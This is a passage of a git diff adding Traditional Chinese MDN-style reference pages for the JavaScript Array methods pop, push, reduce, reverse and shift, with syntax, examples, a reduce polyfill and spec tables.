+<p><code><strong>pop()</strong></code> 方法會移除並回傳陣列的<strong>最後一個</strong>元素。此方法會改變陣列的長度。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-pop.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.pop()</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>自陣列中移除的元素；若陣列為空，則為 {{jsxref("undefined")}}。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>pop</code> 方法會移除陣列中的最後一個元素，並將該值回傳給呼叫者。</p>
+
+<p><code>pop</code> 方法被刻意設計為具通用性；此方法可以藉由 {{jsxref("Function.call", "called", "", 1)}} 或 {{jsxref("Function.apply", "applied", "", 1)}} 應用於類似陣列的物件上。若欲應用此方法的物件不包含代表一系列啟始為零之數字屬性序列長度的 <code>length</code> 屬性，可能是不具任何意義的行為。</p>
+
+<p>如果於空陣列呼叫 <code>pop()</code>，將會回傳 {{jsxref("undefined")}}。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="移除陣列的最後一個元素">移除陣列的最後一個元素</h3>
+
+<p>下面的程式碼為一個包含四個元素的 <code>myFish</code> 陣列，接著移除此陣列的最後一個元素。</p>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'sturgeon'];
+
+var popped = myFish.pop();
+
+console.log(myFish); // ['angel', 'clown', 'mandarin' ]
+
+console.log(popped); // 'sturgeon'</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.6', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.pop', 'Array.prototype.pop')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.pop")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/push/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/push/index.html
new file mode 100644
index 0000000000..a506ad15b6
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/push/index.html
@@ -0,0 +1,143 @@
+---
+title: Array.prototype.push()
+slug: Web/JavaScript/Reference/Global_Objects/Array/push
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/push
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>push()</strong></code> 方法會添加一個或多個元素至陣列的末端，並且回傳陣列的新長度。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-push.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.push(<var>element1</var>[, ...[, <var>elementN</var>]])</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>element<em>N</em></code></dt>
+ <dd>欲添加至陣列末端的元素。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>呼叫此方法之物件的新 {{jsxref("Array.length", "length")}} 屬性值。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>push</code> 方法會將一或多個值加入至一個陣列中。</p>
+
+<p><code>push</code> 方法被刻意設計為具通用性；此方法可以藉由 {{jsxref("Function.call", "call()")}} 或 {{jsxref("Function.apply", "apply()")}} 應用於類似陣列的物件上。<code>push</code> 方法憑借著物件的 <code>length</code> 屬性來判斷從何處開始插入給定的值。如果 <code>length</code> 屬性無法被轉為數字，則索引值會使用 0。這包括了 <code>length</code> 可能不存在的狀況，在這個情況下 <code>length</code> 屬性也將被建立於物件中。</p>
+
+<p>唯一的原生類陣列（array-like）物件為{{jsxref("Global_Objects/String", "字串", "", 1)}}，但他們不適合用於此方法，因為字串是不可變的（immutable）。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="將複數個元素添加至陣列">將複數個元素添加至陣列</h3>
+
+<p>以下的程式碼會建立含有兩個元素的陣列 <code>sports</code>，接著再增加兩個元素至陣列中。新的長度以變數 <code>total</code> 表示。</p>
+
+<pre class="brush: js">var sports = ['soccer', 'baseball'];
+var total = sports.push('football', 'swimming');
+
+console.log(sports); // ['soccer', 'baseball', 'football', 'swimming']
+console.log(total);  // 4
+</pre>
+
+<h3 id="合併兩個陣列">合併兩個陣列</h3>
+
+<p>這個範例使用 {{jsxref("Function.apply", "apply()")}} 自第二個陣列中增加所有的元素至第一個陣列。</p>
+
+<p>如果第二個陣列（範例中的 <code>moreVegs</code>）非常大，就不要使用這個方法。因為一個函式能取得的參數之最大數量是受到實作限制的。詳細請參閱 {{jsxref("Function.apply", "apply()")}}。</p>
+
+<pre class="brush: js">var vegetables = ['parsnip', 'potato'];
+var moreVegs = ['celery', 'beetroot'];
+
+// Merge the second array into the first one
+// Equivalent to vegetables.push('celery', 'beetroot');
+Array.prototype.push.apply(vegetables, moreVegs);
+
+console.log(vegetables); // ['parsnip', 'potato', 'celery', 'beetroot']
+</pre>
+
+<h3 id="以類陣列（array-like）的方式操作物件">以類陣列（array-like）的方式操作物件</h3>
+
+<p>正如上面所提到的，<code>push</code> 被刻意設計為具通用性，我們可以善用這個優勢來處理物件。<code>Array.prototype.push</code> 可以在物件上運作良好，如本範例所示。請注意，我們不會建立一個陣列來儲存收集到的物件。相反地，我們將物件集合（collection）儲存於物件自己身上，並使用 <code>call</code> 來呼叫<code>Array.prototype.push</code> 使其認為我們正在處理一個陣列，讓方法可以繼續運作。感謝 JavaScript 允許我們使用這個方式去執行上下文。</p>
+
+<pre class="brush: js">var obj = {
+    length: 0,
+
+    addElem: function addElem(elem) {
+        // obj.length is automatically incremented
+        // every time an element is added.
+        [].push.call(this, elem);
+    }
+};
+
+// Let's add some empty objects just to illustrate.
+obj.addElem({});
+obj.addElem({});
+console.log(obj.length);
+// → 2
+</pre>
+
+<p>請注意雖然 <code>obj</code> 不是一個陣列，但 <code>push</code> 方法成功增加了 <code>obj</code> 的 <code>length</code> 屬性，就像我們在處理一個真正的陣列一樣。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器支援度">瀏覽器支援度</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.push")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/reduce/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/reduce/index.html
new file mode 100644
index 0000000000..1f943d8dfa
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/reduce/index.html
@@ -0,0 +1,472 @@
+---
+title: Array.prototype.reduce()
+slug: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reduce
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>reduce()</strong></code> 方法將一個累加器及陣列中每項元素（由左至右）傳入回呼函式，將陣列化為單一值。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reduce.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.reduce(<var>callback[accumulator, currentValue, currentIndex, array], </var><var>initialValue</var>)</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>用於處理陣列中每個元素的函式，可傳入四個參數：
+ <dl>
+  <dt><code>accumulator</code></dt>
+  <dd>用來累積回呼函式回傳值的累加器（accumulator）或 <code>initialValue</code>（若有提供的話，詳如下敘）。累加器是上一次呼叫後，所回傳的累加數值。</dd>
+  <dt><code>currentValue</code></dt>
+  <dd>原陣列目前所迭代處理中的元素。</dd>
+  <dt><code>currentIndex</code>{{optional_inline}}</dt>
+  <dd>原陣列目前所迭代處理中的元素之索引。若有傳入 <code>initialValue</code>，則由索引 0 之元素開始，若無則自索引 1 之元素開始。</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>呼叫 <code>reduce()</code> 方法的陣列。</dd>
+ </dl>
+ </dd>
+ <dt><code>initialValue</code>{{optional_inline}}</dt>
+ <dd>於第一次呼叫 <code>callback</code> 時要傳入的累加器初始值。若沒有提供初始值，則原陣列的第一個元素將會被當作初始的累加器。假如於一個空陣列呼叫 <code>reduce()</code> 方法且沒有提供累加器初始值，將會發生錯誤。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>簡化後的結果值。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>reduce()</code> 會對每一個目前迭代到的陣列元素（除了空值以外）執行 <code>callback</code> 函式，回呼函式會接收四個參數：</p>
+
+<ul>
+ <li><code>accumulator</code></li>
+ <li><code>currentValue</code></li>
+ <li><code>currentIndex</code></li>
+ <li><code>array</code></li>
+</ul>
+
+<p>當回呼函式第一次被呼叫時，<code>accumulator</code> 與 <code>currentValue</code> 的值可能為兩種不同的狀況：若在呼叫 <code>reduce()</code> 時有提供 <code>initialValue</code>，則 <code>accumulator</code> 將會等於 <code>initialValue</code>，且 <code>currentValue</code> 會等於陣列中的第一個元素值；若沒有提供 <code>initialValue</code>，則 <code>accumulator</code> 會等於陣列的第一個元素值，且 <code>currentValue</code> 將會等於陣列的第二個元素值。</p>
+
+<div class="note">
+<p><strong>備註：</strong>假如 <code>initialValue</code> 未被提供，<code>reduce()</code> 將會跳過第一個陣列索引，從陣列索引 1 開始執行回呼函式。若有提供 <code>initialValue</code>，則會由陣列索引 0 開始執行。</p>
+</div>
+
+<p>若陣列為空且沒有提供 <code>initialValue</code>，將會拋出 {{jsxref("TypeError")}}。假如陣列只有一個元素（無論其索引位置為何）並且沒有提供 <code>initialValue</code>，或如果提供了 <code>initialValue</code> 但陣列為空，則此唯一的值將會被直接回傳<em>而不會呼叫 <code>callback</code> 函式</em>。</p>
+
+<p>提供累加器初始值通常較為安全，因為在沒有傳入 <code>initialValue</code> 的情況下會有三種可能的輸出結果，如下列範例：</p>
+
+<pre class="brush: js">var maxCallback = ( acc, cur ) =&gt; Math.max( acc.x, cur.x );
+var maxCallback2 = ( max, cur ) =&gt; Math.max( max, cur );
+
+// reduce() without initialValue
+[ { x: 22 }, { x: 42 } ].reduce( maxCallback ); // 42
+[ { x: 22 }            ].reduce( maxCallback ); // { x: 22 }
+[                      ].reduce( maxCallback ); // TypeError
+
+// map/reduce; better solution, also works for empty or larger arrays
+[ { x: 22 }, { x: 42 } ].map( el =&gt; el.x )
+                        .reduce( maxCallback2, -Infinity );
+</pre>
+
+<h3 id="reduce()_如何運作">reduce() 如何運作</h3>
+
+<p>假設 <code>reduce()</code> 以下例方式使用：</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(
+  function (
+<code>    accumulator,</code>
+    <code>currentValue</code>,
+    <code>currentIndex</code>,
+    array
+  ) {
+    return <code>accumulator</code> + currentValue;
+  }
+);
+</pre>
+
+<p>所傳入的回呼函式將被呼叫四次，所傳入的參數與回傳值如下所示：</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><code>callback</code></th>
+   <th scope="col"><code>accumulator</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>currentIndex</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">return value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">first call</th>
+   <td><code>0</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">second call</th>
+   <td><code>1</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>3</code></td>
+  </tr>
+  <tr>
+   <th scope="row">third call</th>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>6</code></td>
+  </tr>
+  <tr>
+   <th scope="row">fourth call</th>
+   <td><code>6</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>reduce()</code> 的最終回傳值將會是最後一次呼叫回呼函式的回傳值 (<code>10</code>)。</p>
+
+<p>你也可以傳入一個{{jsxref("Functions/Arrow_functions", "箭頭函式","",1)}}來替代一個完整的函式。下方的程式碼執行的結果將與前述例子相同。</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce( (prev, curr) =&gt; prev + curr );
+</pre>
+
+<p>如果你有提供第二個參數值給 <code>reduce()</code>，執行的結果如下：</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(
+  (<code>accumulator</code>, currentValue, currentIndex, array) =&gt; {
+    return <code>accumulator</code> + currentValue;
+  },
+  10
+);
+</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><code>callback</code></th>
+   <th scope="col"><code>accumulator</code></th>
+   <th scope="col"><code>currentValue</code></th>
+   <th scope="col"><code>currentIndex</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">return value</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">first call</th>
+   <td><code>10</code></td>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <th scope="row">second call</th>
+   <td><code>10</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>11</code></td>
+  </tr>
+  <tr>
+   <th scope="row">third call</th>
+   <td><code>11</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>13</code></td>
+  </tr>
+  <tr>
+   <th scope="row">fourth call</th>
+   <td><code>13</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>16</code></td>
+  </tr>
+  <tr>
+   <th scope="row">fifth call</th>
+   <td><code>16</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0, 1, 2, 3, 4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p><code>reduce()</code> 執行的結果將會是 <code>20</code>。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="加總所有陣例之元素值">加總所有陣例之元素值</h3>
+
+<pre class="brush: js">var sum = [0, 1, 2, 3].reduce(function (a, b) {
+  return a + b;
+}, 0);
+// sum is 6
+</pre>
+
+<p>另外，也可以寫成箭頭函式：</p>
+
+<pre class="brush: js">var total = [ 0, 1, 2, 3 ].reduce(
+  ( acc, cur ) =&gt; acc + cur,
+  0
+);</pre>
+
+<h3 id="攤平一個多維陣列">攤平一個多維陣列</h3>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
+  function(a, b) {
+    return a.concat(b);
+  },
+  []
+);
+// flattened is [0, 1, 2, 3, 4, 5]
+</pre>
+
+<p>另外，也可以寫成箭頭函式：</p>
+
+<pre class="brush: js">var flattened = [[0, 1], [2, 3], [4, 5]].reduce(
+  ( acc, cur ) =&gt; acc.concat(cur),
+  []
+);
+</pre>
+
+<h3 id="計算相同元素數量並以物件鍵值顯示">計算相同元素數量並以物件鍵值顯示</h3>
+
+<pre class="brush: js">var names = ['Alice', 'Bob', 'Tiff', 'Bruce', 'Alice'];
+
+var countedNames = names.reduce(function (allNames, name) {
+  if (name in allNames) {
+    allNames[name]++;
+  }
+  else {
+    allNames[name] = 1;
+  }
+  return allNames;
+}, {});
+// countedNames is:
+// { 'Alice': 2, 'Bob': 1, 'Tiff': 1, 'Bruce': 1 }
+</pre>
+
+<h3 id="使用_spread_運算子與給定初始值，結合物件中的陣列元素">使用 spread 運算子與給定初始值，結合物件中的陣列元素</h3>
+
+<pre class="brush: js">// friends - an array of objects
+// where object field "books" - list of favorite books
+var friends = [{
+  name: 'Anna',
+  books: ['Bible', 'Harry Potter'],
+  age: 21
+}, {
+  name: 'Bob',
+  books: ['War and peace', 'Romeo and Juliet'],
+  age: 26
+}, {
+  name: 'Alice',
+  books: ['The Lord of the Rings', 'The Shining'],
+  age: 18
+}];
+
+// allbooks - list which will contain all friends' books +
+// additional list contained in initialValue
+var allbooks = friends.reduce(function(prev, curr) {
+  return [...prev, ...curr.books];
+}, ['Alphabet']);
+
+// allbooks = [
+//   'Alphabet', 'Bible', 'Harry Potter', 'War and peace',
+//   'Romeo and Juliet', 'The Lord of the Rings',
+//   'The Shining'
+// ]</pre>
+
+<p> </p>
+
+<h3 id="移除陣列中的重複項目">移除陣列中的重複項目</h3>
+
+<pre class="brush: js">let arr = [1, 2, 1, 2, 3, 5, 4, 5, 3, 4, 4, 4, 4];
+let result = arr.sort().reduce((init, current) =&gt; {
+    if (init.length === 0 || init[init.length - 1] !== current) {
+        init.push(current);
+    }
+    return init;
+}, []);
+console.log(result); //[1,2,3,4,5]
+</pre>
+
+<h3 id="序列執行_Promise">序列執行 Promise</h3>
+
+<pre class="brush: js">/**
+ * Runs promises from promise array in chained manner
+ *
+ * @param {array} arr - promise arr
+ * @return {Object} promise object
+ */
+function runPromiseInSequense(arr) {
+  return arr.reduce((promiseChain, currentPromise) =&gt; {
+    return promiseChain.then((chainedResult) =&gt; {
+      return currentPromise(chainedResult)
+        .then((res) =&gt; res)
+    })
+  }, Promise.resolve());
+}
+
+// promise function 1
+function p1() {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(5);
+  });
+}
+
+// promise function 2
+function p2(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 2);
+  });
+}
+
+// promise function 3
+function p3(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 3);
+  });
+}
+
+const promiseArr = [p1, p2, p3];
+runPromiseInSequense(promiseArr)
+  .then((res) =&gt; {
+    console.log(res);   // 30
+  });
+
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.21
+// Reference: http://es5.github.io/#x15.4.4.21
+// https://tc39.github.io/ecma262/#sec-array.prototype.reduce
+if (!Array.prototype.reduce) {
+  Object.defineProperty(Array.prototype, 'reduce', {
+    value: function(callback /*, initialValue*/) {
+      if (this === null) {
+        throw new TypeError( 'Array.prototype.reduce ' +
+          'called on null or undefined' );
+      }
+      if (typeof callback !== 'function') {
+        throw new TypeError( callback +
+          ' is not a function');
+      }
+
+      // 1. Let O be ? ToObject(this value).
+      var o = Object(this);
+
+      // 2. Let len be ? ToLength(? Get(O, "length")).
+      var len = o.length &gt;&gt;&gt; 0;
+
+      // Steps 3, 4, 5, 6, 7
+      var k = 0;
+      var value;
+
+      if (arguments.length &gt;= 2) {
+        value = arguments[1];
+      } else {
+        while (k &lt; len &amp;&amp; !(k in o)) {
+          k++;
+        }
+
+        // 3. If len is 0 and initialValue is not present,
+        //    throw a TypeError exception.
+        if (k &gt;= len) {
+          throw new TypeError( 'Reduce of empty array ' +
+            'with no initial value' );
+        }
+        value = o[k++];
+      }
+
+      // 8. Repeat, while k &lt; len
+      while (k &lt; len) {
+        // a. Let Pk be ! ToString(k).
+        // b. Let kPresent be ? HasProperty(O, Pk).
+        // c. If kPresent is true, then
+        //    i.  Let kValue be ? Get(O, Pk).
+        //    ii. Let accumulator be ? Call(
+        //          callbackfn, undefined,
+        //          « accumulator, kValue, k, O »).
+        if (k in o) {
+          value = callback(value, o[k], k, o);
+        }
+
+        // d. Increase k by 1.
+        k++;
+      }
+
+      // 9. Return accumulator.
+      return value;
+    }
+  });
+}
+</pre>
+
+<p>如果還需要支援老舊到不支援 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code> 的 JavaScript 引擎，最好不要 polyfill <code>Array.prototype</code> 方法，因為你無法令其不可枚舉（non-enumerable）。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.reduce")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/reverse/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/reverse/index.html
new file mode 100644
index 0000000000..d3104c28be
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/reverse/index.html
@@ -0,0 +1,90 @@
+---
+title: Array.prototype.reverse()
+slug: Web/JavaScript/Reference/Global_Objects/Array/reverse
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>reverse()</strong></code> 方法會<em><a href="https://zh.wikipedia.org/wiki/%E5%8E%9F%E5%9C%B0%E7%AE%97%E6%B3%95">原地（in place）</a></em>反轉（reverses）一個陣列。陣列中的第一個元素變為最後一個，而最後一個元素則變成第一個。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reverse.html")}}</div>
+
+
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><var>a</var>.reverse()</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>反轉後的陣列。</p>
+
+<h2 id="Description" name="Description">描述</h2>
+
+<p><code>reverse</code> 方法將原地（in place）變換（transposes）呼叫此方法的陣列物件之元素至其顛倒的位置，改變原陣列後，並回傳此陣列之參考位址（reference）。</p>
+
+<h2 id="Examples" name="Examples">範例</h2>
+
+<h3 id="Example:_Reversing_the_elements_in_an_array" name="Example:_Reversing_the_elements_in_an_array">反轉陣列中之元素</h3>
+
+<p>下列範例建立了一個包含三個元素的陣列 <code>a</code>，接著反轉此陣列。呼叫 <code>reverse()</code> 會回傳一個反轉後的原陣列 <code>a</code> 之參考。</p>
+
+<pre class="brush: js">var a = ['one', 'two', 'three'];
+var reversed = a.reverse();
+
+console.log(a);        // ['three', 'two', 'one']
+console.log(reversed); // ['three', 'two', 'one']
+</pre>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規格</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.8', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reverse', 'Array.prototype.reverse')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.reverse")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.reverse()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/array/shift/index.html b/files/zh-tw/web/javascript/reference/global_objects/array/shift/index.html
new file mode 100644
index 0000000000..269dfac4fe
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/array/shift/index.html
@@ -0,0 +1,114 @@
+---
+title: Array.prototype.shift()
+slug: Web/JavaScript/Reference/Global_Objects/Array/shift
+tags:
+  - Array
+  - JavaScript
+  - Method
+  - Prototype
+  - shift
+  - 陣列
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/shift
+---
+<div>{{JSRef}}</div>
+
+<p><code><strong>shift()</strong></code> 方法會移除並回傳陣列的<strong>第一個</strong>元素。此方法會改變陣列的長度。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-shift.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><var>arr</var>.shift()</pre>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>自陣列中移除的元素；若陣列為空，則為 {{jsxref("undefined")}}。</p>
+
+<h2 id="描述">描述</h2>
+
+<p><code>shift</code> 方法會移除並回傳陣列中索引值為零之元素（即第一個元素），並將隨後的其他索引值減一。假如 {{jsxref("Array.length", "length")}} 屬性值為 0，則會回傳 {{jsxref("undefined")}}。</p>
+
+<p><code>shift</code> 方法被刻意設計為具通用性；此方法可以藉由 {{jsxref("Function.call", "called", "", 1)}} 或 {{jsxref("Function.apply", "applied", "", 1)}} 應用於類似陣列的物件上。若欲應用此方法的物件不包含代表一系列啟始為零之數字屬性序列長度的 <code>length</code> 屬性，可能是不具任何意義的行為。</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="自陣列中移除一個元素">自陣列中移除一個元素</h3>
+
+<p>以下的程式碼會印出 <code>myFish</code> 陣列在移除第一個元素之前跟之後的內容，也印出了被移除的元素：</p>
+
+<pre class="brush: js">var myFish = ['angel', 'clown', 'mandarin', 'surgeon'];
+
+console.log('myFish before:', JSON.stringify(myFish));
+// myFish before: ['angel', 'clown', 'mandarin', 'surgeon']
+
+var shifted = myFish.shift();
+
+console.log('myFish after:', myFish);
+// myFish after: ['clown', 'mandarin', 'surgeon']
+
+console.log('Removed this element:', shifted);
+// Removed this element: angel
+</pre>
+
+<h3 id="於_while_迴圈中使用_shift()_方法">於 while 迴圈中使用 shift() 方法</h3>
+
+<p><code>shift()</code> 方法常被用在 while 迴圈中的條件判斷。在下面的例子，每一次迭代都將會自陣列中移除下一個元素，直到陣列空了為止：</p>
+
+<pre class="brush: js">var names = ["Andrew", "Edward", "Paul", "Chris" ,"John"];
+
+while( (i = names.shift()) !== undefined ) {
+    console.log(i);
+}
+// Andrew, Edward, Paul, Chris, John
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
